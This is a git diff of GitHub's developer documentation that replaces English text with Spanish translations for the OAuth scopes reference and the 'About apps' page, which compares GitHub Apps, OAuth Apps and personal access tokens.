-**`notifications`** | Grants: <br/>* read access to a user's notifications <br/>* mark as read access to threads <br/>* watch and unwatch access to a repository, and <br/>* read, write, and delete access to thread subscriptions.
-**`user`** | Grants read/write access to profile info only.  Note that this scope includes `user:email` and `user:follow`.
-&emsp;`read:user`| Grants access to read a user's profile data.
-&emsp;`user:email`| Grants read access to a user's email addresses.
-&emsp;`user:follow`| Grants access to follow or unfollow other users.
-**`delete_repo`** | Grants access to delete adminable repositories.
-**`write:discussion`** | Allows read and write access for team discussions.
-&emsp;`read:discussion` | Allows read access for team discussions.{% ifversion fpt or ghae or ghec %}
-**`write:packages`** | Grants access to upload or publish a package in {% data variables.product.prodname_registry %}. For more information, see "[Publishing a package](/github/managing-packages-with-github-packages/publishing-a-package)".
-**`read:packages`** | Grants access to download or install packages from {% data variables.product.prodname_registry %}. For more information, see "[Installing a package](/github/managing-packages-with-github-packages/installing-a-package)".
-**`delete:packages`** | Grants access to delete packages from {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."{% endif %}
-**`admin:gpg_key`** | Fully manage GPG keys.
-&emsp;`write:gpg_key`| Create, list, and view details for GPG keys.
-&emsp;`read:gpg_key`| List and view details for GPG keys.{% ifversion fpt or ghec %}
-**`codespace`** | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in Codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)."
-**`workflow`** | Grants the ability to add and update {% data variables.product.prodname_actions %} workflow files. Workflow files can be committed without this scope if the same file (with both the same path and contents) exists on another branch in the same repository. Workflow files can expose `GITHUB_TOKEN` which may have a different set of scopes. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."{% endif %}
+| Nombre                   | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion not ghae %}
+| **`(no scope)`**         | Otorga acceso de solo lectura a la información pública (incluyendo la del perfil del usuario, repositorio y gists){% endif %}{% ifversion ghes or ghae %}
+| **`site_admin`**         | Otorga a los administradores de sitio acceso a las [Terminales de la API para la Administración de {% data variables.product.prodname_ghe_server %}](/rest/reference/enterprise-admin).{% endif %}
+| **`repo`**               | Otorga acceso completo a los repositorios, icnluyendo los privados. Esto incluye acceso de lectura/escritura al código, estados de confirmaciones, proyectos de organización y de repositorio, invitaciones, colaboradores, agregar membrecías de equipo, estados de despliegue y webhooks de repositorio para organizaciones y repositorios. También otorga la capacidad de administrar proyectos de usuario.                                                                                                                                                                                                                     |
+| &emsp;`repo:status`      | Otorga acceso de lectura/escritura a los estados de confirmación en los repositorios {% ifversion fpt %}públicos y privados{% elsif ghec or ghes %}públicos, privados e internos{% elsif ghae %}privados e internos{% endif %}. Este alcance solo se necesita para otorgar a otros usuarios o servicios el acceso a los estados de las confirmaciones en repositorios privados *sin* otorgarles acceso al código.                                                                                                                                                                                                                  |
+| &emsp;`repo_deployment`  | Otorga acceso a los [estados de despliegue](/rest/reference/repos#deployments) para los repositorios{% ifversion not ghae %}públicos{% else %}internos{% endif %} y privados. Este alcance solo se necesita para otorgar acceso a otros usuarios o servicios para los estados de despliegue, *sin* otorgar acceso al código.{% ifversion not ghae %}
+| &emsp;`public_repo`      | Limita el acceso a los repositorios públicos. Esto incluye el acceso de lectura/escritura al código, estados de las confirmaciones, proyectos de repositorio, colaboradores y estados de despliegue para los repositorios públicos y para las organizaciones. También se requieren para marcar los repositorios públicos como favoritos.{% endif %}
+| &emsp;`repo:invite`      | Otorga capacidades de aceptar/rechazar las invitaciones para colaborar con un repositorio. Este alcance solo es necesario para otorgar a otros usuarios o servicios acceso a las invitaciones *sin* otorgar acceso al código.{% ifversion fpt or ghes > 3.0 or ghec %}
+| &emsp;`security_events`  | Otorga: <br/> acceso de lectura y escritura para los eventos de seguridad en la [API del {% data variables.product.prodname_code_scanning %}](/rest/reference/code-scanning) <br/> acceso de lectura y escritura para los eventos de seguridad en la [API del {% data variables.product.prodname_secret_scanning %}](/rest/reference/secret-scanning) <br/> Este alcance solo es necesario para otorgar acceso a los eventos de seguridad para otros usuarios o servicios *sin* otorgar acceso al código.{% endif %}{% ifversion ghes < 3.1 %}
+| &emsp;`security_events`  | Otorga acceso de lectura y escritura a los eventos de seguridad en la [API de {% data variables.product.prodname_code_scanning %}](/rest/reference/code-scanning). Este alcance solo es necesario para otorgar acceso a los eventos de seguridad a otros usuarios o servicios *sin* otorgarles acceso al código.{% endif %}
+| **`admin:repo_hook`**    | Otorga acceso de lectura, escritura, pring y borrado a los ganchos de repositorio en los repositorios {% ifversion fpt %}públicos o privados{% elsif ghec or ghes %}públicos, privados o internos{% elsif ghae %}privados o internos{% endif %}. El alcance de `repo` {% ifversion fpt or ghec or ghes %}y de `public_repo` otorgan{% else %}otorga{% endif %} acceso total a los repositorios, icnluyendo a los ganchos de repositorio. Utiliza el alcance `admin:repo_hook` para limitar el acceso únicamente a los ganchos de los repositorios.                                                                                 |
+| &emsp;`write:repo_hook`  | Otorga acceso de lectura, escritura y ping a los ganchos en repositorios {% ifversion fpt %}públicos o privados{% elsif ghec or ghes %}públicos, privados o internos{% elsif ghae %}privados o internos{% endif %}.                                                                                                                                                                                                                                                                                                                                                                                                                |
+| &emsp;`read:repo_hook`   | Otorga acceso de lectura y ping a los ganchos en repositorios {% ifversion fpt %}públicos o privados{% elsif ghec or ghes %}públicos, privados o internos{% elsif ghae %}privados o internos{% endif %}.                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| **`admin:org`**          | Para administrar totalmente la organización y sus equipos, proyectos y membrecías.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| &emsp;`write:org`        | Acceso de lectura y escritura para la membrecía de organización y de los equipos y para los proyectos de la organización.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
+| &emsp;`read:org`         | Acceso de solo lectura para la membrecía de organización y de los equipos y para los proyectos de la organización.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| **`admin:public_key`**   | Administrar totalmente las llaves públicas.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| &emsp;`write:public_key` | Crear, listar y ver los detalles de las llaves públicas.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| &emsp;`read:public_key`  | Listar y ver los detalles para las llaves públicas.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| **`admin:org_hook`**     | Otorga acceso de lectura, escritura, ping y borrado para los ganchos de la organización. **Nota:** Los tokens de OAuth solo podrán realizar estas acciones en los ganchos de la organización los cuales haya creado la App de OAuth. Los tokens de acceso personal solo podrán llevar a cabo estas acciones en los ganchos de la organización que cree un usuario.                                                                                                                                                                                                                                                                 |
+| **`gist`**               | Otorga acceso de escritura a los gists.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+| **`notifications`**      | Otorga: <br/>* acceso de lectura a las notificaciones de un usuario <br/>* acceso de marcar como leído en los hilos <br/>* acceso de observar y dejar de observar en un repositorio, y <br/>* acceso de lectura, escritura y borrado para las suscripciones a los hilos.                                                                                                                                                                                                                                                                                                                                   |
+| **`usuario`**            | Otorga acceso de lectura/escritura únicamente para la información de perfil.  Este alcance incluye a `user:email` y `user:follow`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| &emsp;`read:user`        | Otorga acceso para leer los datos de perfil de un usuario.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| &emsp;`user:email`       | Otorga acceso de lectura para las direcciones de correo electrónico de un usuario.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| &emsp;`user:follow`      | Otorga acceso para seguir o dejar de seguir a otros usuarios.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| **`delete_repo`**        | Otorga acceso para borrar los repositorios administrables.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| **`write:discussion`**   | Permite el acceso de lectura y escritura para los debates de equipo.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
+| &emsp;`read:discussion`  | Permite los accesos de lectura y escritura para los debates de equipo.{% ifversion fpt or ghae or ghec %}
+| **`write:packages`**     | Otorga acceso para cargar o publicar un paquete en el {% data variables.product.prodname_registry %}. Para obtener más información, consulta la sección "[Publicar un paquete](/github/managing-packages-with-github-packages/publishing-a-package)".                                                                                                                                                                                                                                                                                                                                                                              |
+| **`read:packages`**      | Otorga acceso para descargar o instalar paquetes desde el {% data variables.product.prodname_registry %}. Para obtener más información, consulta la sección "[Instalar un paquete](/github/managing-packages-with-github-packages/installing-a-package)".                                                                                                                                                                                                                                                                                                                                                                          |
+| **`delete:packages`**    | Otorga acceso para borrar paquetes del {% data variables.product.prodname_registry %}. Para obtener más información, consulta la sección "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Borrar y restablecer un paquete](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Borrar un paquete](/packages/learn-github-packages/deleting-a-package){% endif %}".{% endif %}
+| **`admin:gpg_key`**      | Administra las llaves GPG totalmente.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| &emsp;`write:gpg_key`    | Crea, lista, y visualiza los detalles de las llaves GPG.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| &emsp;`read:gpg_key`     | Lista y visualiza los detalles de las llaves GPG.{% ifversion fpt or ghec %}
+| **`codespace`**          | Otorga la capacidad de crear y administrar codespaces. Los codespaces pueden exponer un GITHUB_TOKEN que puede tener un conjunto de alcances diferente. Para obtener más información, consulta la sección "[Seguridad en los Codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)".{% endif %}
+| **`flujo de trabajo`**   | Otorga la capacidad de agregar y actualizar archivos del flujo de trabajo de las {% data variables.product.prodname_actions %}. Los archivos de flujo de trabajo pueden confirmarse sin este alcance en caso de que el mismo archivo (con la misma ruta y el mismo contenido) exista en otra rama en el mismo repositorio. Los archivos de flujo de trabajo pueden exponer al `GITHUB_TOKEN`, el cual puede tener un conjunto diferente de alcances. Para obtener más información, consulta la sección "[Autenticación en un flujo de trabajo](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)". |
 
 {% note %}
 
-**Note:** Your OAuth App can request the scopes in the initial redirection. You
-can specify multiple scopes by separating them with a space using `%20`:
+**Nota:** Tu App de OAuth puede solicitar los alcances en la redirección inicial. Puedes especificar alcances múltiples si los separas con un espacio utilizando `%20`:
 
     https://github.com/login/oauth/authorize?
       client_id=...&
@@ -88,31 +88,16 @@ can specify multiple scopes by separating them with a space using `%20`:
 
 {% endnote %}
 
-## Requested scopes and granted scopes
+## Alcances solicitados y otorgados
 
-The `scope` attribute lists scopes attached to the token that were granted by
-the user. Normally, these scopes will be identical to what you requested.
-However, users can edit their scopes, effectively
-granting your application less access than you originally requested. Also, users
-can edit token scopes after the OAuth flow is completed.
-You should be aware of this possibility and adjust your application's behavior
-accordingly.
+El atributo `scope` lista los alcances adjuntos al token que otorgó el usuario. Normalmente, estos alcances serán idénticos a lo que solicitaste. Sin embargo, los usuarios pueden editar sus alcances, lo cual es efectivo para otorgar a tu organización menos accesos de lo que solicitaste originalmente. También, los usuarios puede editar los alcances de los tokens después de completar un flujo de OAuth. Debes estar consciente de esta posibilidad y ajustar el comportamiento de tu aplicación de acuerdo con esto.
 
-It's important to handle error cases where a user chooses to grant you
-less access than you originally requested. For example, applications can warn
-or otherwise communicate with their users that they will see reduced
-functionality or be unable to perform some actions.
+Es importante gestionar los casos de error en donde un usuario elige otorgarte menos acceso de lo que solicitaste originalmente. Por ejemplo, las aplicaciones pueden advertir o comunicar de cualquier otra forma a sus usuarios si experimentarán funcionalidad reducida o si serán incapaces de realizar alguna acción.
 
-Also, applications can always send users back through the flow again to get
-additional permission, but don’t forget that users can always say no.
+También, las aplicaciones siempre pueden enviar nuevamente de regreso a los usuarios a través del flujo para obtener permisos adicionales, pero no olvides que dichos usuarios siempre pueden rehusarse a hacerlo.
 
-Check out the [Basics of Authentication guide](/guides/basics-of-authentication/), which
-provides tips on handling modifiable token scopes.
+Revisa la sección [Guía de aspectos básicos de la autenticación](/guides/basics-of-authentication/), la cual proporciona consejos sobre la gestión de alcances modificables de los tokens.
 
-## Normalized scopes
+## Alcances normalizados
 
-When requesting multiple scopes, the token is saved with a normalized list
-of scopes, discarding those that are implicitly included by another requested
-scope. For example, requesting `user,gist,user:email` will result in a
-token with `user` and `gist` scopes only since the access granted with
-`user:email` scope is included in the `user` scope.
+Cuando solicites alcances múltiples, el token se guarda con una lista de alcances normalizada y descarta aquellos que se otro alcance solicitado incluya implícitamente. Por ejemplo, el solicitar `user,gist,user:email` dará como resultado un token con alcances de `user` y de `gist` únicamente, ya que el acceso que se otorga con el alcance `user:email` se incluye en el alcance `user`.
diff --git a/translations/es-ES/content/developers/apps/getting-started-with-apps/about-apps.md b/translations/es-ES/content/developers/apps/getting-started-with-apps/about-apps.md
index bcb5178dfb..b7259c7ddb 100644
--- a/translations/es-ES/content/developers/apps/getting-started-with-apps/about-apps.md
+++ b/translations/es-ES/content/developers/apps/getting-started-with-apps/about-apps.md
@@ -1,10 +1,10 @@
 ---
-title: About apps
-intro: 'You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs to add flexibility and reduce friction in your own workflow.{% ifversion fpt or ghec %} You can also share integrations with others on [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace).{% endif %}'
+title: Acerca de las apps
+intro: 'Puedes crear integraciones con las API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} para agregar flexibilidad y reducir la fricción en tu propio flujo de trabajo.{% ifversion fpt or ghec %} También puedes compartir las integraciones con otros en [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace).{% endif %}'
 redirect_from:
-  - /apps/building-integrations/setting-up-a-new-integration/
-  - /apps/building-integrations/
-  - /apps/getting-started-with-building-apps/
+  - /apps/building-integrationssetting-up-a-new-integration
+  - /apps/building-integrations
+  - /apps/getting-started-with-building-apps
   - /apps/about-apps
   - /developers/apps/about-apps
 versions:
@@ -15,91 +15,92 @@ versions:
 topics:
   - GitHub Apps
 ---
-Apps on {% data variables.product.prodname_dotcom %} allow you to automate and improve your workflow. You can build apps to improve your workflow.{% ifversion fpt or ghec %} You can also share or sell apps in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). To learn how to list an app on {% data variables.product.prodname_marketplace %}, see "[Getting started with GitHub Marketplace](/marketplace/getting-started/)."{% endif %}
 
-{% data reusables.marketplace.github_apps_preferred %}, but GitHub supports both {% data variables.product.prodname_oauth_apps %} and {% data variables.product.prodname_github_apps %}. For information on choosing a type of app, see "[Differences between GitHub Apps and OAuth Apps](/developers/apps/differences-between-github-apps-and-oauth-apps)."
+Las apps en {% data variables.product.prodname_dotcom %} te permiten automatizar y mejorar tu flujo de trabajo. Puedes crear apps para mejorar tu flujo de trabajo. {% ifversion fpt or ghec %} También puedes compartir o vender apps en [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). Para aprender sobre cómo listar una app en {% data variables.product.prodname_marketplace %}, consulta la sección "[Comenzar con GitHub Marketplace](/marketplace/getting-started/)".{% endif %}
+
+{% data reusables.marketplace.github_apps_preferred %}, Pero GitHub es compatible tanto con las {% data variables.product.prodname_oauth_apps %} y con las {% data variables.product.prodname_github_apps %}. Para obtener más información sobre cómo elegir un tipo de app, consulta la sección "[Diferencias entre las GitHub Apps y las Apps de OAuth](/developers/apps/differences-between-github-apps-and-oauth-apps)".
 
 {% data reusables.apps.general-apps-restrictions %}
 
-For a walkthrough of the process of building a {% data variables.product.prodname_github_app %}, see "[Building Your First {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)."
+Para obtener una guía detallada del proceso de creación de una {% data variables.product.prodname_github_app %}, consulta la sección "[Crea tu primer {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)".
 
-## About {% data variables.product.prodname_github_apps %}
+## Acerca de {% data variables.product.prodname_github_apps %}
 
-{% data variables.product.prodname_github_apps %} are first-class actors within GitHub. A {% data variables.product.prodname_github_app %} acts on its own behalf, taking actions via the API directly using its own identity, which means you don't need to maintain a bot or service account as a separate user.
+Las {% data variables.product.prodname_github_apps %} son actores de primera clase dentro de GitHub. Una {% data variables.product.prodname_github_app %} actúa por si misma, tomando las acciones a través de la API y utilizando directamente su propia identidad, lo que significa que no necesitas mantener un bot o cuenta de servicio como un usuario separado.
 
-{% data variables.product.prodname_github_apps %} can be installed directly on organizations and user accounts and granted access to specific repositories. They come with built-in webhooks and narrow, specific permissions. When you set up your {% data variables.product.prodname_github_app %}, you can select the repositories you want it to access. For example, you can set up an app called `MyGitHub` that writes issues in the `octocat` repository and _only_ the `octocat` repository. To install a {% data variables.product.prodname_github_app %}, you must be an organization owner or have admin permissions in a repository.
+Las {% data variables.product.prodname_github_apps %} se pueden instalar directamente en las cuentas de organización y de usuario, y se les puede dar acceso a repositorios diferentes. Vienen con webhooks integrados y con permisos específicos y delimitados. Cuando configuras tu {% data variables.product.prodname_github_app %}, puedes seleccionar los repositorios a los cuales quieres acceder. Por ejemplo, puedes configurar una app llamada `MyGitHub` que escribe informes de problemas en el repositorio `octocat` y _únicamente_ en dicho repositorio. Para instalar una {% data variables.product.prodname_github_app %}, necesitas ser propietario de la organización o tener permisos administrativos en el repositorio.
 
 {% data reusables.apps.app_manager_role %}
 
-{% data variables.product.prodname_github_apps %} are applications that need to be hosted somewhere. For step-by-step instructions that cover servers and hosting, see "[Building Your First {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)."
+Las {% data variables.product.prodname_github_apps %} son aplicaciones que necesitan hospedarse en algún lugar. Para obtener instruciones paso a paso que cubran los temas de servidores y hospedaje, consulta la sección "[Crear tu primer {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)".
 
-To improve your workflow, you can create a {% data variables.product.prodname_github_app %} that contains multiple scripts or an entire application, and then connect that app to many other tools. For example, you can connect {% data variables.product.prodname_github_apps %} to GitHub, Slack, other in-house apps you may have, email programs, or other APIs.
+Para mejorar tu flujo de trabajo, puedes crear una {% data variables.product.prodname_github_app %} que contenga varios scripts, o bien, una aplicación completa, y después conectarla a muchas otras herramientas. Por ejemplo, puedes conectar las {% data variables.product.prodname_github_apps %} a GitHub, Slack, a otras apps locales que tuvieras, programas de correo electrónico, o incluso a otras API.
 
-Keep these ideas in mind when creating {% data variables.product.prodname_github_apps %}:
+Toma estas ideas en consideración cuando crees {% data variables.product.prodname_github_apps %}:
 
 {% ifversion fpt or ghec %}
 * {% data reusables.apps.maximum-github-apps-allowed %} {% endif %}
-* A {% data variables.product.prodname_github_app %} should take actions independent of a user (unless the app is using a [user-to-server](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). {% data reusables.apps.expiring_user_authorization_tokens %}
+* Una {% data variables.product.prodname_github_app %} debe tomar acciones independientemente del usuario (a menos de que dicha app utilice un token de [usuario a servidor](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). {% data reusables.apps.expiring_user_authorization_tokens %}
 
-* Make sure the {% data variables.product.prodname_github_app %} integrates with specific repositories.
-* The {% data variables.product.prodname_github_app %} should connect to a personal account or an organization.
-* Don't expect the {% data variables.product.prodname_github_app %} to know and do everything a user can.
-* Don't use a {% data variables.product.prodname_github_app %} if you just need a "Login with GitHub" service. But a {% data variables.product.prodname_github_app %} can use a [user identification flow](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/) to log users in _and_ do other things.
-* Don't build a {% data variables.product.prodname_github_app %} if you _only_ want to act as a GitHub user and do everything that user can do.{% ifversion fpt or ghec %}
+* Asegúrate de que la {% data variables.product.prodname_github_app %} se integre con repositorios específicos.
+* La {% data variables.product.prodname_github_app %} deberá conectarse a una cuenta personal o a una organización.
+* No esperes que la {% data variables.product.prodname_github_app %} sepa y haga todo lo que puede hacer un usuario.
+* No utilices a la {% data variables.product.prodname_github_app %} si solo necesitas el servicio de "Iniciar sesión en GitHub". Sin embargo, una {% data variables.product.prodname_github_app %} puede utilizar un [flujo de identificación de usuario](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/) para registrar a los usuarios _y_ para hacer otras cosas.
+* No crees una {% data variables.product.prodname_github_app %} si _únicamente_ quieres fungir como un usuario de GitHub y hacer todo lo que puede hacer un usuario. {% ifversion fpt or ghec %}
 * {% data reusables.apps.general-apps-restrictions %}{% endif %}
 
-To begin developing {% data variables.product.prodname_github_apps %}, start with "[Creating a {% data variables.product.prodname_github_app %}](/apps/building-github-apps/creating-a-github-app/)."{% ifversion fpt or ghec %} To learn how to use {% data variables.product.prodname_github_app %} Manifests, which allow people to create preconfigured {% data variables.product.prodname_github_apps %}, see "[Creating {% data variables.product.prodname_github_apps %} from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)."{% endif %}
+Para comenzar a desarrollar {% data variables.product.prodname_github_apps %}, comienza con "[Crear una {% data variables.product.prodname_github_app %}](/apps/building-github-apps/creating-a-github-app/)".{% ifversion fpt or ghec %} Para aprender cómo utilizar un manifiesto de las {% data variables.product.prodname_github_app %}, el cual permite a la gente crear {% data variables.product.prodname_github_apps %} preconfiguradas, consulta la sección "[Crear {% data variables.product.prodname_github_apps %} desde un manifiesto](/apps/building-github-apps/creating-github-apps-from-a-manifest/)".{% endif %}
 
-## About {% data variables.product.prodname_oauth_apps %}
+## Acerca de las {% data variables.product.prodname_oauth_apps %}
 
-OAuth2 is a protocol that lets external applications request authorization to private details in a user's {% data variables.product.prodname_dotcom %} account without accessing their password. This is preferred over Basic Authentication because tokens can be limited to specific types of data and can be revoked by users at any time.
+OAuth2 es un protocolo que permite a las aplicaciones externas el solicitar autorización para usar detalles privados en una cuenta de {% data variables.product.prodname_dotcom %} del usuario sin acceder a su contraseña. Estas son preferentes sobre la Autenticación Básica, ya que los tokens pueden limitarse a ciertos tipos de datos y los usuarios pueden revocarlos en cualquier momento.
 
 {% data reusables.apps.deletes_ssh_keys %}
 
-An {% data variables.product.prodname_oauth_app %} uses {% data variables.product.prodname_dotcom %} as an identity provider to authenticate as the user who grants access to the app. This means when a user grants an {% data variables.product.prodname_oauth_app %} access, they grant permissions to _all_ repositories they have access to in their account, and also to any organizations they belong to that haven't blocked third-party access.
+Una {% data variables.product.prodname_oauth_app %} utiliza a {% data variables.product.prodname_dotcom %} como proveedor de identidad para autenticarse como el usuario que otorga el acceso a la app. Esto significa que, cuando un usuario otorga acceso a una {% data variables.product.prodname_oauth_app %}, también otorga permisos a _todos_ los repositorios a los cuales tienen acceso en su cuenta, y también a cualquier organización a la que pertenezcan que no haya bloqueado el acceso de terceros.
 
-Building an {% data variables.product.prodname_oauth_app %} is a good option if you are creating more complex processes than a simple script can handle. Note that {% data variables.product.prodname_oauth_apps %} are applications that need to be hosted somewhere.
+Crear una {% data variables.product.prodname_oauth_app %} es una buena opción si estás creando procesos más complejos de lo que puede manejar un script sencillo. Nota que las {% data variables.product.prodname_oauth_apps %} son aplicaciones que necesitan hospedarse en algún lugar.
 
-Keep these ideas in mind when creating {% data variables.product.prodname_oauth_apps %}:
+Toma estas ideas en consideración cuando crees {% data variables.product.prodname_oauth_apps %}:
 
 {% ifversion fpt or ghec %}
 * {% data reusables.apps.maximum-oauth-apps-allowed %} {% endif %}
-* An {% data variables.product.prodname_oauth_app %} should always act as the authenticated {% data variables.product.prodname_dotcom %} user across all of {% data variables.product.prodname_dotcom %} (for example, when providing user notifications).
-* An {% data variables.product.prodname_oauth_app %} can be used as an identity provider by enabling a "Login with {% data variables.product.prodname_dotcom %}" for the authenticated user.
-* Don't build an {% data variables.product.prodname_oauth_app %} if you want your application to act on a single repository. With the `repo` OAuth scope, {% data variables.product.prodname_oauth_apps %} can act on _all_ of the authenticated user's repositories.
-* Don't build an {% data variables.product.prodname_oauth_app %} to act as an application for your team or company. {% data variables.product.prodname_oauth_apps %} authenticate as a single user, so if one person creates an {% data variables.product.prodname_oauth_app %} for a company to use, and then they leave the company, no one else will have access to it.{% ifversion fpt or ghec %}
+* Una {% data variables.product.prodname_oauth_app %} siempre debe actuar como el usuario autenticado de {% data variables.product.prodname_dotcom %} a través de todo {% data variables.product.prodname_dotcom %} (por ejemplo, cuando proporciona notificaciones de usuario).
+* Una {% data variables.product.prodname_oauth_app %} puede utilizarse como un proveedor de identidad si el usuario autenticado habilita la opción de "Ingresar con {% data variables.product.prodname_dotcom %}".
+* No crees una {% data variables.product.prodname_oauth_app %} si quieres que tu aplicación actúe en un solo repositorio. Con el alcance de `repo` de OAuth, Las {% data variables.product.prodname_oauth_apps %} podrán actuar en _todos_ los repositorios del usuario autenticado.
+* No crees una {% data variables.product.prodname_oauth_app %} para que actúe como una aplicación para tu equipo o compañía. Las {% data variables.product.prodname_oauth_apps %} se autentican como un solo usuario, así que, si una persona crea una {% data variables.product.prodname_oauth_app %} para el uso de una compañía, y luego salen de dicha compañía, nadie más tendrá acceso a ella.{% ifversion fpt or ghec %}
 * {% data reusables.apps.oauth-apps-restrictions %}{% endif %}
 
-For more on {% data variables.product.prodname_oauth_apps %}, see "[Creating an {% data variables.product.prodname_oauth_app %}](/apps/building-oauth-apps/creating-an-oauth-app/)" and "[Registering your app](/rest/guides/basics-of-authentication#registering-your-app)."
+Para obtener más información sobre las {% data variables.product.prodname_oauth_apps %}, consulta las secciones "[Crear una {% data variables.product.prodname_oauth_app %}](/apps/building-oauth-apps/creating-an-oauth-app/)" y "[Registrar tu app](/rest/guides/basics-of-authentication#registering-your-app)".
 
-## Personal access tokens
+## Tokens de acceso personal
 
-A [personal access token](/articles/creating-a-personal-access-token-for-the-command-line/) is a string of characters that functions similarly to an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/) in that you can specify its permissions via [scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). A personal access token is also similar to a password, but you can have many of them and you can revoke access to each one at any time.
+Un [token de acceso personal](/articles/creating-a-personal-access-token-for-the-command-line/) es una secuencia de caracteres que funciona de forma similar a un [Token de OAuth](/apps/building-oauth-apps/authorizing-oauth-apps/) en el aspecto de que puedes especificar sus permisos a través de [alcances](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). Un token de acceso personal también es similar a una contraseña, pero puedes tener varios de ellos y puedes revocar el acceso de cada uno en cualquier momento.
 
-As an example, you can enable a personal access token to write to your repositories. If then you run a cURL command or write a script that [creates an issue](/rest/reference/issues#create-an-issue) in your repository, you would pass the personal access token to authenticate. You can store the personal access token as an environment variable to avoid typing it every time you use it.
+Com ejemplo, puedes habilitar un token de acceso personal para tener acceso de escritura en tus repositorios. Si posteriormente ejecutas un comando de cURL o escribes un script que [cree una propuesta](/rest/reference/issues#create-an-issue) en tu repositorio, tendrías que pasar el token de acceso personal para autenticarte. Puedes almacenar el token de acceso personal como una variable de ambiente para evitar el tener que teclearlo cada vez que lo utilices.
 
-Keep these ideas in mind when using personal access tokens:
+Considera estas ideas cuando utilices tokens de acceso personal:
 
-* Remember to use this token to represent yourself only.
-* You can perform one-off cURL requests.
-* You can run personal scripts.
-* Don't set up a script for your whole team or company to use.
-* Don't set up a shared user account to act as a bot user.{% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %}
-* Do set an expiration for your personal access tokens, to help keep your information secure.{% endif %}
+* Recuerda utilizar este token para que te represente únicamente a ti.
+* Puedes realizar solicitudes cURL de una sola ocasión.
+* Puedes ejecutar scripts personales.
+* No configures un script para que lo utilice todo tu equipo o compañía.
+* No configures una cuenta de usuario compartida para que actúe como un usuario bot.{% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %}
+* Sí debes establecer un vencimiento para tus tokens de acceso personal para que te ayuden a mantener tu información segura.{% endif %}
 
-## Determining which integration to build
+## Determinar qué integración debes crear
 
-Before you get started creating integrations, you need to determine the best way to access, authenticate, and interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs. The following image offers some questions to ask yourself when deciding whether to use personal access tokens, {% data variables.product.prodname_github_apps %}, or {% data variables.product.prodname_oauth_apps %} for your integration.
+Antes de que comiences a crear integraciones, necesitas determinar la mejor forma de acceder, autenticar, e interactuar con las API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}. La siguiente imagen te proporciona algunas preguntas que deberías hacerte a ti mismo cuando decidas si vas a utilizar tokens de acceso personal, {% data variables.product.prodname_github_apps %} o {% data variables.product.prodname_oauth_apps %} para tu integración.
 
-![Intro to apps question flow](/assets/images/intro-to-apps-flow.png)
+![Introducción al flujo de preguntas de apps](/assets/images/intro-to-apps-flow.png)
 
-Consider these questions about how your integration needs to behave and what it needs to access:
+Considera estas preguntas acerca de cómo necesita comportarse tu integración y a qué necesita acceder:
 
-* Will my integration act only as me, or will it act more like an application?
-* Do I want it to act independently of me as its own entity?
-* Will it access everything that I can access, or do I want to limit its access?
-* Is it simple or complex? For example, personal access tokens are good for simple scripts and cURLs, whereas an {% data variables.product.prodname_oauth_app %} can handle more complex scripting.
